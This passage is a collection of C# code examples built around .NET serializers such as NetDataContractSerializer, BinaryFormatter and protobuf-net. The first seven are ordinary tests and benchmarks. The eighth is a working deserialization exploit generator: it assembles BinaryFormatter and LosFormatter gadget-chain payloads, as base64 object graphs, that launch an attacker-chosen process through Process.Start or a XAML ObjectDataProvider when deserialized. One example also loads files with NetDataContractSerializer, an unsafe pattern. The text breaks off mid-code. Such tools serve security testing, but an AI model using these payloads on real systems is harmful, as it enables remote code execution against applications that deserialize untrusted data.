Пример #1
0
        public void SerializeCommand()
        {
            var cmd = new TestCommand();

            cmd.Name = "test data";

            var buffer = new System.IO.MemoryStream();

#if !SILVERLIGHT
            var bf = (TestCommand)Csla.Core.ObjectCloner.Clone(cmd);
            Assert.AreEqual(cmd.Name, bf.Name, "after BinaryFormatter");

            var ndcs = new System.Runtime.Serialization.NetDataContractSerializer();
            ndcs.Serialize(buffer, cmd);
            buffer.Position = 0;
            var n = (TestCommand)ndcs.Deserialize(buffer);
            Assert.AreEqual(cmd.Name, n.Name, "after NDCS");
#endif

            buffer = new System.IO.MemoryStream();
            var mf = new Csla.Serialization.Mobile.MobileFormatter();
            mf.Serialize(buffer, cmd);
            buffer.Position = 0;
            var m = (TestCommand)mf.Deserialize(buffer);
            Assert.AreEqual(cmd.Name, m.Name, "after MobileFormatter");
        }
Пример #2
0
        public object Assemble(object cached, object owner)
        {
            if (cached == null)
            {
                return(null);
            }

            if (cached == DBNull.Value)
            {
                return(null);
            }

            if (!(cached is string))
            {
                throw new ArgumentException();
            }

            var serializedList = cached as string;

            if (!serializedList.Trim().Any())
            {
                return(null);
            }

            var formatter = new XmlSerializer();

            return(formatter.Deserialize(new MemoryStream(Encoding.UTF8.GetBytes(serializedList))));
        }
Пример #3
0
 /// <summary>
 /// Universal object method used to serialize ANY object from disk.
 /// </summary>
 /// <typeparam name="T">The type of the target object.</typeparam>
 /// <param name="obj">The triggering object.</param>
 /// <param name="filePath">The path on disk for the save file.</param>
 /// <returns>The object of type T loaded from disk.</returns>
 public static T Load <T>(this T obj,
                          string filePath = "File.bin")
 {
     try
     {
         lock (lockManager)
         {
             using (System.IO.Stream stream =
                        System.IO.File.Open(
                            filePath,
                            System.IO.FileMode.Open))
             {
                 var serializer = new System.Runtime.Serialization.NetDataContractSerializer();
                 obj = (T)serializer.Deserialize(stream);
                 return(obj);
             }
         }
     }
     catch (Exception ex)
     {
         //Dump error.
         ConsoleColor currentColor = Console.ForegroundColor;
         Console.ForegroundColor = ConsoleColor.Red;
         Console.WriteLine(ex.ToString());
         Console.ForegroundColor = currentColor;
         return(default(T));
     }
 }
Пример #4
0
        private void loadToolStripMenuItem_Click(object sender, EventArgs e)
        {
            using (System.IO.FileStream stream = new System.IO.FileStream("grad.xml", System.IO.FileMode.Open, System.IO.FileAccess.Read))
            {
                ClassCheckerNode root = (ClassCheckerNode)serializer.Deserialize(stream);

                treeView1.Nodes[0].Nodes.Clear();

                this.rootNode = root;
                AddNodes(root, treeView1.Nodes[0]);
                treeView1.Nodes[0].Text = rootNode.ToString();
            }
            MessageBox.Show("OK");
        }
Пример #5
0
        public static RuntimeTypeModel BuildMeta()
        {
            RuntimeTypeModel model;

#if !FX11
            model = TypeModel.Create();
            model.Add(typeof(Order), false)
            .Add(1, "OrderID")
            .Add(2, "CustomerID")
            .Add(3, "EmployeeID")
            .Add(4, "OrderDate")
            .Add(5, "RequiredDate")
            .Add(6, "ShippedDate")
            .Add(7, "ShipVia")
            .Add(8, "Freight")
            .Add(9, "ShipName")
            .Add(10, "ShipAddress")
            .Add(11, "ShipCity")
            .Add(12, "ShipRegion")
            .Add(13, "ShipPostalCode")
            .Add(14, "ShipCountry");
            model.Add(typeof(Product), false)
            .Add(1, "ProductID")
            .Add(2, "ProductName")
            .Add(3, "SupplierID")
            .Add(4, "CategoryID")
            .Add(5, "QuantityPerUnit")
            .Add(6, "UnitPrice")
            .Add(7, "UnitsInStock")
            .Add(8, "UnitsOnOrder")
            .Add(9, "ReorderLevel")
            .Add(10, "Discontinued")
            .Add(11, "LastEditDate")
            .Add(12, "CreationDate");

            TypeModel      compiled = model.Compile();
            Type           type     = typeof(Product);
            PropertyInfo[] props    = type.GetProperties();

            Product prod = new Product();
            prod.ProductID       = 123;
            prod.ProductName     = "abc devil";
            prod.SupplierID      = 456;
            prod.CategoryID      = 13;
            prod.QuantityPerUnit = "1";
            prod.UnitPrice       = 12.99M;
            prod.UnitsInStock    = 96;
            prod.UnitsOnOrder    = 12;
            prod.ReorderLevel    = 30;
            prod.Discontinued    = false;
            prod.LastEditDate    = new DateTime(2009, 5, 7);
            prod.CreationDate    = new DateTime(2009, 1, 3);

            DumpObject("Original", props, prod);

            const int loop = 100000;
            Console.WriteLine("Iterations: " + loop);
            Stopwatch    watch;
            MemoryStream reuseDump = new MemoryStream(100 * 1024);
#if FX30
            System.Runtime.Serialization.DataContractSerializer dcs = new System.Runtime.Serialization.DataContractSerializer(type);

            using (MemoryStream ms = new MemoryStream()) {
                dcs.WriteObject(ms, prod);
                Console.WriteLine("DataContractSerializer: {0} bytes", ms.Length);
            }

            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                dcs.WriteObject(reuseDump, prod);
            }
            watch.Stop();
            Console.WriteLine("DataContractSerializer serialize: {0} ms", watch.ElapsedMilliseconds);
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                dcs.ReadObject(reuseDump);
            }
            watch.Stop();
            Console.WriteLine("DataContractSerializer deserialize: {0} ms", watch.ElapsedMilliseconds);

            {
                reuseDump.Position = 0;
                Product p1 = (Product)dcs.ReadObject(reuseDump);
                DumpObject("DataContractSerializer", props, p1);
            }

            System.Runtime.Serialization.NetDataContractSerializer ndcs = new System.Runtime.Serialization.NetDataContractSerializer();

            using (MemoryStream ms = new MemoryStream()) {
                ndcs.Serialize(ms, prod);
                Console.WriteLine("NetDataContractSerializer: {0} bytes", ms.Length);
            }

            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                ndcs.Serialize(reuseDump, prod);
            }
            watch.Stop();
            Console.WriteLine("NetDataContractSerializer serialize: {0} ms", watch.ElapsedMilliseconds);
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                ndcs.Deserialize(reuseDump);
            }
            watch.Stop();
            Console.WriteLine("NetDataContractSerializer deserialize: {0} ms", watch.ElapsedMilliseconds);

            {
                reuseDump.Position = 0;
                Product p1 = (Product)ndcs.Deserialize(reuseDump);
                DumpObject("NetDataContractSerializer", props, p1);
            }
#endif

            using (MemoryStream ms = new MemoryStream())
            {
                compiled.Serialize(ms, prod);
#if COREFX
                ArraySegment <byte> tmp;
                if (!ms.TryGetBuffer(out tmp))
                {
                    throw new Exception("oops");
                }
                byte[] buffer = tmp.Array;
#else
                byte[] buffer = ms.GetBuffer();
#endif
                int len = (int)ms.Length;
                Console.WriteLine("protobuf-net v2: {0} bytes", len);
                for (int i = 0; i < len; i++)
                {
                    Console.Write(buffer[i].ToString("x2"));
                }
                Console.WriteLine();
            }
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                compiled.Serialize(reuseDump, prod);
            }
            watch.Stop();
            Console.WriteLine("protobuf-net v2 serialize: {0} ms", watch.ElapsedMilliseconds);

            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                compiled.Deserialize(reuseDump, null, type);
            }
            watch.Stop();

            Console.WriteLine("protobuf-net v2 deserialize: {0} ms", watch.ElapsedMilliseconds);
            {
                reuseDump.Position = 0;
                Product p1 = (Product)compiled.Deserialize(reuseDump, null, type);
                DumpObject("protobuf-net v2", props, p1);
            }


            // 080d 1203(616263) 207b
            // 3205(08b9601804)
            // 5000 6204(08cede01)

            // 00   08 = 1|000 = field 1, variant
            // 01   0d = 13

            // 02   12 = 10|010 = field 2, string
            // 03   03 = length 3
            // 04   616263 = "abc"

            // 07   20 = 100|000 = field 4, variant
            // 08   7B = 123

            // 09   32 = 110|010 = field 6, string
            // 10   05 = length 5
            // 11     08 = 1|000 = field 1, variant
            // 12     b960 (le) = 1100000:0111001 = 12345
            // 14     18 = 11|000 = field 3, variant
            // 15     04 = 4 (signScale = scale 2, +ve)

            // 16   50 = 1010|000 = field 10, variant
            // 17   00 = false

            // 18   62 = 1100|010 = field 12, string
            // 19   04 = length 4
            // 20    08 = 1|000 = field 1, variant
            // 21    cede01 = 1:1011110:1001110 = 28494 (days, signed) = 14247 = 03/01/2009

            Product clone = (Product)compiled.DeepClone(prod);
            Console.WriteLine(clone.CategoryID);
            Console.WriteLine(clone.ProductName);
            Console.WriteLine(clone.CreationDate);
            Console.WriteLine(clone.ProductID);
            Console.WriteLine(clone.UnitPrice);
#endif
            model = TypeModel.Create();
            model.Add(typeof(Customer), false)
            .Add(1, "Id")
            .Add(3, "Name")
#if !FX11
            .Add(5, "HowMuch")
            .Add(6, "HasValue")
#endif
            ;
            ;
            model.Add(typeof(CustomerStruct), false)
            .Add(1, "Id")
            .Add(3, "Name")
#if !FX11
            .Add(5, "HowMuch")
            .Add(6, "HasValue")
#endif
            ;
            return(model);
        }
Пример #6
0
        public static RuntimeTypeModel BuildMeta()
        {
            
            RuntimeTypeModel model;
#if !FX11
            model = TypeModel.Create();
            model.Add(typeof(Order), false)
                .Add(1, "OrderID")
                .Add(2, "CustomerID")
                .Add(3, "EmployeeID")
                .Add(4, "OrderDate")
                .Add(5, "RequiredDate")
                .Add(6, "ShippedDate")
                .Add(7, "ShipVia")
                .Add(8, "Freight")
                .Add(9, "ShipName")
                .Add(10, "ShipAddress")
                .Add(11, "ShipCity")
                .Add(12, "ShipRegion")
                .Add(13, "ShipPostalCode")
                .Add(14, "ShipCountry");
            model.Add(typeof(Product), false)
                .Add(1, "ProductID")
                .Add(2, "ProductName")
                .Add(3, "SupplierID")
                .Add(4, "CategoryID")
                .Add(5, "QuantityPerUnit")
                .Add(6, "UnitPrice")
                .Add(7, "UnitsInStock")
                .Add(8, "UnitsOnOrder")
                .Add(9, "ReorderLevel")
                .Add(10, "Discontinued")
                .Add(11, "LastEditDate")
                .Add(12, "CreationDate");

            TypeModel compiled = model.Compile();
            Type type = typeof(Product);
            PropertyInfo[] props = type.GetProperties();

            Product prod = new Product();
            prod.ProductID = 123;
            prod.ProductName = "abc devil";
            prod.SupplierID = 456;
            prod.CategoryID = 13;
            prod.QuantityPerUnit = "1";
            prod.UnitPrice = 12.99M;
            prod.UnitsInStock = 96;
            prod.UnitsOnOrder = 12;
            prod.ReorderLevel = 30;
            prod.Discontinued = false;
            prod.LastEditDate = new DateTime(2009, 5, 7);
            prod.CreationDate = new DateTime(2009, 1, 3);

            DumpObject("Original", props, prod);
            
            const int loop = 100000;
            Console.WriteLine("Iterations: " + loop);
            Stopwatch watch;
            MemoryStream reuseDump = new MemoryStream(100 * 1024);
#if FX30
            System.Runtime.Serialization.DataContractSerializer dcs = new System.Runtime.Serialization.DataContractSerializer(type);
            
            using (MemoryStream ms = new MemoryStream()) {
                dcs.WriteObject(ms, prod);
                Console.WriteLine("DataContractSerializer: {0} bytes", ms.Length);
            }
            
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                dcs.WriteObject(reuseDump, prod);                
            }
            watch.Stop();
            Console.WriteLine("DataContractSerializer serialize: {0} ms", watch.ElapsedMilliseconds);
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                dcs.ReadObject(reuseDump);
            }
            watch.Stop();
            Console.WriteLine("DataContractSerializer deserialize: {0} ms", watch.ElapsedMilliseconds);

            {
            reuseDump.Position = 0;
            Product p1 = (Product) dcs.ReadObject(reuseDump);
            DumpObject("DataContractSerializer", props, p1);
            }

            System.Runtime.Serialization.NetDataContractSerializer ndcs = new System.Runtime.Serialization.NetDataContractSerializer();
            
            using (MemoryStream ms = new MemoryStream()) {
                ndcs.Serialize(ms, prod);
                Console.WriteLine("NetDataContractSerializer: {0} bytes", ms.Length);
            }
            
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                ndcs.Serialize(reuseDump, prod);                
            }
            watch.Stop();
            Console.WriteLine("NetDataContractSerializer serialize: {0} ms", watch.ElapsedMilliseconds);
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                ndcs.Deserialize(reuseDump);
            }
            watch.Stop();
            Console.WriteLine("NetDataContractSerializer deserialize: {0} ms", watch.ElapsedMilliseconds);

            {
            reuseDump.Position = 0;
            Product p1 = (Product) ndcs.Deserialize(reuseDump);
            DumpObject("NetDataContractSerializer", props, p1);
            }
#endif

            using (MemoryStream ms = new MemoryStream())
            {
                compiled.Serialize(ms, prod);
                byte[] buffer = ms.GetBuffer();
                int len = (int)ms.Length;
                Console.WriteLine("protobuf-net v2: {0} bytes", len);
                for (int i = 0; i < len; i++)
                {
                    Console.Write(buffer[i].ToString("x2"));                    
                }
                Console.WriteLine();
            }
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.SetLength(0);
                compiled.Serialize(reuseDump, prod);
            }
            watch.Stop();
            Console.WriteLine("protobuf-net v2 serialize: {0} ms", watch.ElapsedMilliseconds);
            
            watch = Stopwatch.StartNew();
            for (int i = 0; i < loop; i++)
            {
                reuseDump.Position = 0;
                compiled.Deserialize(reuseDump, null, type);
            }
            watch.Stop();
            
            Console.WriteLine("protobuf-net v2 deserialize: {0} ms", watch.ElapsedMilliseconds);
            {
            reuseDump.Position = 0;
            Product p1 = (Product)compiled.Deserialize(reuseDump, null, type);
            DumpObject("protobuf-net v2", props, p1);
            }

            
            // 080d 1203(616263) 207b
            // 3205(08b9601804)
            // 5000 6204(08cede01)

            // 00   08 = 1|000 = field 1, variant
            // 01   0d = 13

            // 02   12 = 10|010 = field 2, string
            // 03   03 = length 3
            // 04   616263 = "abc"

            // 07   20 = 100|000 = field 4, variant
            // 08   7B = 123

            // 09   32 = 110|010 = field 6, string
            // 10   05 = length 5
            // 11     08 = 1|000 = field 1, variant
            // 12     b960 (le) = 1100000:0111001 = 12345
            // 14     18 = 11|000 = field 3, variant
            // 15     04 = 4 (signScale = scale 2, +ve)

            // 16   50 = 1010|000 = field 10, variant
            // 17   00 = false

            // 18   62 = 1100|010 = field 12, string
            // 19   04 = length 4
            // 20    08 = 1|000 = field 1, variant
            // 21    cede01 = 1:1011110:1001110 = 28494 (days, signed) = 14247 = 03/01/2009

            Product clone = (Product)compiled.DeepClone(prod);
            Console.WriteLine(clone.CategoryID);
            Console.WriteLine(clone.ProductName);
            Console.WriteLine(clone.CreationDate);
            Console.WriteLine(clone.ProductID);
            Console.WriteLine(clone.UnitPrice);



#endif
            model = TypeModel.Create();
            model.Add(typeof(Customer), false)
               .Add(1, "Id")
               .Add(3, "Name")
#if !FX11
               .Add(5, "HowMuch")
               .Add(6, "HasValue")
#endif
               ;
        ;
            model.Add(typeof(CustomerStruct), false)
                .Add(1, "Id")
                .Add(3, "Name")
#if !FX11
                .Add(5, "HowMuch")
                .Add(6, "HasValue")
#endif
                ;
            return model;
        }
Пример #7
0
        public void NetDataContract()
        {
            var serializer = new System.Runtime.Serialization.NetDataContractSerializer();

            serializer.Deserialize(new MemoryStream());
        }
Пример #8
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            /*
             * // This is how ResourceSet can be used directly but the payload would fire!
             * object generatedPayload = TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);
             *
             * using (ResourceWriter rw = new ResourceWriter(@".\ResourceSetGenerator.resources"))
             * {
             *  rw.AddResource("", generatedPayload);
             *  rw.Generate();
             *  rw.Close();
             * }
             *
             * // Payload will be executed once here which is annoying but without surgical insertion or something to parse binaryformatter objects, it is quite hard to prevent this
             * ResourceSet myResourceSet = new ResourceSet(@".\ResourceSetGenerator.resources");
             *
             * // TextFormattingRunPropertiesGenerator is the preferred method due to its short length. However, we need to insert it manually into a serialized object as ResourceSet cannot tolerate it
             *
             */

            if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
                formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
            {
                string payload = "";
                if (internalgadget == 1)
                {
                    // This to prevent code execution when running
                    string obj25Type = "", obj25Value = "", obj26Value = "";

                    byte[] cmdFile7bitLV   = SimpleBinaryFormatterParser.Create7bitLengthObjectString(inputArgs.CmdFileName);
                    byte[] obj26ValueObjId = new byte[] { 0x0c, 0, 0, 0 };
                    obj26Value = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(obj26ValueObjId, cmdFile7bitLV));

                    if (inputArgs.HasArguments)
                    {
                        byte[] obj25TypeByte   = new byte[] { 0x06 };
                        byte[] obj25ValueObjId = new byte[] { 0x0b, 0, 0, 0 };
                        byte[] cmdArgs7bitLV   = SimpleBinaryFormatterParser.Create7bitLengthObjectString(inputArgs.CmdArguments);

                        obj25Type  = Convert.ToBase64String(obj25TypeByte);
                        obj25Value = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(obj25ValueObjId, cmdArgs7bitLV));
                    }
                    else
                    {
                        byte[] obj25TypeByte   = new byte[] { 0x09 };
                        byte[] obj25ValueObjId = new byte[] { 0x05, 0, 0, 0 };

                        obj25Type  = Convert.ToBase64String(obj25TypeByte);
                        obj25Value = Convert.ToBase64String(obj25ValueObjId);
                    }

                    payload = @"{'headerBytes':'AAEAAAD/////AQAAAAAAAAA=','binaryFormatterObjects':[{'orderId':1,'typeBytes':'BA==','valueBytes':'AQAAABxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlU2V0AgAAAAVUYWJsZRVfY2FzZUluc2Vuc2l0aXZlVGFibGUDAxxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlHFN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU='},{'orderId':2,'typeBytes':'CQ==','valueBytes':'AgAAAA=='},{'orderId':3,'typeBytes':'Cg==','valueBytes':''},{'orderId':4,'typeBytes':'BA==','valueBytes':'AgAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgg='},{'orderId':5,'typeBytes':null,'valueBytes':'7FE4Pw=='},{'orderId':6,'typeBytes':null,'valueBytes':'AQAAAA=='},{'orderId':7,'typeBytes':'Cg==','valueBytes':''},{'orderId':8,'typeBytes':'Cg==','valueBytes':''},{'orderId':9,'typeBytes':null,'valueBytes':'AwAAAA=='},{'orderId':10,'typeBytes':'CQ==','valueBytes':'AwAAAA=='},{'orderId':11,'typeBytes':'CQ==','valueBytes':'BAAAAA=='},{'orderId':12,'typeBytes':'EA==','valueBytes':'AwAAAAEAAAA='},{'orderId':13,'typeBytes':'Bg==','valueBytes':'BQAAAAA='},{'orderId':14,'typeBytes':'EA==','valueBytes':'BAAAAAEAAAA='},{'orderId':15,'typeBytes':'CQ==','valueBytes':'BgAAAA=='},{'orderId':16,'typeBytes':'DA==','valueBytes':'BwAAAEZTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5'},{'orderId':17,'typeBytes':'BQ==','valueBytes':'BgAAAEBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Tb3J0ZWRTZXRgMVtbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABghJU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmcsbXNjb3JsaWJdXQgHAAAA'},{'orderId':18,'typeBytes':null,'valueBytes':'AgAAAA=='},{'orderId':19,'typeBytes':'CQ==','valueBytes':'CAAAAA=='},{'orderId':20,'typeBytes':null,'valueBytes':'AgAAAA=='},{'orderId':21,'typeBytes':'CQ==','valueBytes':'CQAAAA=='},{'orderId':22,'typeBytes':'BA==','valueBytes':'CAAAAElTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl1dAQAAAAtfY29tcGFyaXNvbgMiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcg=='},{'orderId':23,'typeBytes':'CQ==','valueBytes':'CgAAAA=='},{'orderId':24,'typeBytes':'EQ==','valueBytes':'CQAAAAIAAAA='},{'orderId':25,'typeBytes':'" + obj25Type + @"','valueBytes':'" + obj25Value + @"'},{'orderId':26,'typeBytes':'Bg==','valueBytes':'" + obj26Value + @"'},{'orderId':27,'typeBytes':'BA==','valueBytes':'CgAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVy'},{'orderId':28,'typeBytes':'CQ==','valueBytes':'DQAAAA=='},{'orderId':29,'typeBytes':'CQ==','valueBytes':'DgAAAA=='},{'orderId':30,'typeBytes':'CQ==','valueBytes':'DwAAAA=='},{'orderId':31,'typeBytes':'BA==','valueBytes':'DQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQ=='},{'orderId':32,'typeBytes':'Bg==','valueBytes':'EAAAAKQBU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZyxtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsbXNjb3JsaWJdLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyxTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0='},{'orderId':33,'typeBytes':'Bg==','valueBytes':'EQAAAAhtc2NvcmxpYg=='},{'orderId':34,'typeBytes':'Cg==','valueBytes':''},{'orderId':35,'typeBytes':'Bg==','valueBytes':'EgAAAEZTeXN0ZW0sVmVyc2lvbj00LjAuMC4wLEN1bHR1cmU9bmV1dHJhbCxQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5'},{'orderId':36,'typeBytes':'Bg==','valueBytes':'EwAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcw=='},{'orderId':37,'typeBytes':'Bg==','valueBytes':'FAAAAAVTdGFydA=='},{'orderId':38,'typeBytes':'CQ==','valueBytes':'FQAAAA=='},{'orderId':39,'typeBytes':'BA==','valueBytes':'DgAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgYAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10='},{'orderId':40,'typeBytes':'CQ==','valueBytes':'FAAAAA=='},{'orderId':41,'typeBytes':'CQ==','valueBytes':'EgAAAA=='},{'orderId':42,'typeBytes':'CQ==','valueBytes':'EwAAAA=='},{'orderId':43,'typeBytes':'Bg==','valueBytes':'GQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQ=='},{'orderId':44,'typeBytes':null,'valueBytes':'CAAAAA=='},{'orderId':45,'typeBytes':'Cg==','valueBytes':''},{'orderId':46,'typeBytes':'AQ==','valueBytes':'DwAAAA4AAAA='},{'orderId':47,'typeBytes':'Bg==','valueBytes':'GgAAAAdDb21wYXJl'},{'orderId':48,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':49,'typeBytes':'Bg==','valueBytes':'HAAAAA1TeXN0ZW0uU3RyaW5n'},{'orderId':50,'typeBytes':'Bg==','valueBytes':'HQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcp'},{'orderId':51,'typeBytes':null,'valueBytes':'CAAAAA=='},{'orderId':52,'typeBytes':'Cg==','valueBytes':''},{'orderId':53,'typeBytes':'AQ==','valueBytes':'FQAAAA0AAAA='},{'orderId':54,'typeBytes':'Bg==','valueBytes':'HgAAAC1TeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0='},{'orderId':55,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':56,'typeBytes':'Cg==','valueBytes':''},{'orderId':57,'typeBytes':'CQ==','valueBytes':'EQAAAA=='},{'orderId':58,'typeBytes':'CQ==','valueBytes':'HAAAAA=='},{'orderId':59,'typeBytes':'CQ==','valueBytes':'GgAAAA=='},{'orderId':60,'typeBytes':'Cg==','valueBytes':''},{'orderId':61,'typeBytes':'Cw==','valueBytes':''}]}";
                }
                else
                {
                    ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
                    string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();

                    if (inputArgs.Minify)
                    {
                        xaml_payload = XMLMinifier.Minify(xaml_payload, null, null);
                    }

                    byte[] xaml_payload7bitLV      = SimpleBinaryFormatterParser.Create7bitLengthObjectString(xaml_payload);
                    byte[] xaml_payloadValueObjId  = new byte[] { 0x08, 0, 0, 0 };
                    string xaml_payloadValueBase64 = Convert.ToBase64String(SimpleBinaryFormatterParser.ConcatTwoByteArrays(xaml_payloadValueObjId, xaml_payload7bitLV));

                    payload = @"{'headerBytes':'AAEAAAD/////AQAAAAAAAAA=','binaryFormatterObjects':[{'orderId':1,'typeBytes':'BA==','valueBytes':'AQAAABxTeXN0ZW0uUmVzb3VyY2VzLlJlc291cmNlU2V0AgAAAAVUYWJsZRVfY2FzZUluc2Vuc2l0aXZlVGFibGUDAxxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlHFN5c3RlbS5Db2xsZWN0aW9ucy5IYXNodGFibGU='},{'orderId':2,'typeBytes':'CQ==','valueBytes':'AgAAAA=='},{'orderId':3,'typeBytes':'Cg==','valueBytes':''},{'orderId':4,'typeBytes':'BA==','valueBytes':'AgAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgg='},{'orderId':5,'typeBytes':null,'valueBytes':'7FE4Pw=='},{'orderId':6,'typeBytes':null,'valueBytes':'AQAAAA=='},{'orderId':7,'typeBytes':'Cg==','valueBytes':''},{'orderId':8,'typeBytes':'Cg==','valueBytes':''},{'orderId':9,'typeBytes':null,'valueBytes':'AwAAAA=='},{'orderId':10,'typeBytes':'DA==','valueBytes':'BwAAABtNaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3I='},{'orderId':11,'typeBytes':'BQ==','valueBytes':'BgAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAEHAAAA'},{'orderId':12,'typeBytes':'Bg==','valueBytes':'" + xaml_payloadValueBase64 + @"'},{'orderId':13,'typeBytes':'Cw==','valueBytes':''}]}";
                }

                byte[] bfSerializedObj = SimpleBinaryFormatterParser.ReconstructFromJsonNetSerializedBinaryFormatterObject(payload).ToArray();

                if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase))
                {
                    if (inputArgs.Test)
                    {
                        try
                        {
                            MemoryStream ms = new MemoryStream(bfSerializedObj);
                            ms.Position = 0;
                            System.Runtime.Serialization.Formatters.Binary.BinaryFormatter bf = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter();
                            bf.Deserialize(ms);
                        }
                        catch (Exception err)
                        {
                            Debugging.ShowErrors(inputArgs, err);
                        }
                    }
                    return(bfSerializedObj);
                }
                else
                {
                    // it is LosFormatter
                    byte[] lfSerializedObj = SimpleMinifiedObjectLosFormatter.PrepareWithSerialized(bfSerializedObj);

                    MemoryStream ms = new MemoryStream(lfSerializedObj);
                    ms.Position = 0;
                    if (inputArgs.Test)
                    {
                        try
                        {
                            System.Web.UI.LosFormatter lf = new System.Web.UI.LosFormatter();
                            lf.Deserialize(ms);
                        }
                        catch (Exception err)
                        {
